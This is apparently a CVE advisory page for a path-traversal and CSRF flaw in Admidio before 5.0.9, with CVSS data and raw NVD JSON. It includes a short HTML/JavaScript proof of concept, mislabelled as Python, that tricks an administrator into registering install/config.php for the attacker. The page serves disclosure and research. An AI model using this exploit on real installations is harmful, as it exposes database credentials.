Security Vulnerability Report
中文
CVE-2026-41656 CVSS 4.5 MEDIUM

CVE-2026-41656

Published: 2026-05-07 04:16:29
Last Modified: 2026-05-07 15:16:08

Description

Admidio is an open-source user management solution. Prior to version 5.0.9, the add mode in modules/documents-files.php accepts a name parameter validated only as 'string' type (HTML encoding), allowing path traversal characters (../) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and SameSite=Lax session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., install/config.php containing database credentials) into a documents folder accessible to the attacker. This issue has been patched in version 5.0.9.

CVSS Details

CVSS Score
4.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Admidio < 5.0.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-41656 Description: CSRF exploit to register a sensitive file via path traversal. Usage: Host this file and send the link to an authenticated Admin. --> <html> <body> <script> // Target URL of the vulnerable Admidio installation var targetUrl = "http://target-admidio-site.com/admidio/modules/documents-files.php"; // Malicious parameter using path traversal to reach config file var payload = "?mode=add&name=../../install/config.php"; // Automatically trigger the request window.location.href = targetUrl + payload; </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41656", "sourceIdentifier": "[email protected]", "published": "2026-05-07T04:16:28.633", "lastModified": "2026-05-07T15:16:08.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Admidio is an open-source user management solution. Prior to version 5.0.9, the add mode in modules/documents-files.php accepts a name parameter validated only as 'string' type (HTML encoding), allowing path traversal characters (../) to pass through unfiltered. Combined with the absence of CSRF protection on this endpoint and SameSite=Lax session cookies, a low-privileged attacker can trick a documents administrator into clicking a crafted link that registers an arbitrary server file (e.g., install/config.php containing database credentials) into a documents folder accessible to the attacker. This issue has been patched in version 5.0.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N", "baseScore": 4.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/Admidio/admidio/releases/tag/v5.0.9", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-m9h6-8pqm-xrhf", "source": "[email protected]"}, {"url": "https://github.com/Admidio/admidio/security/advisories/GHSA-m9h6-8pqm-xrhf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}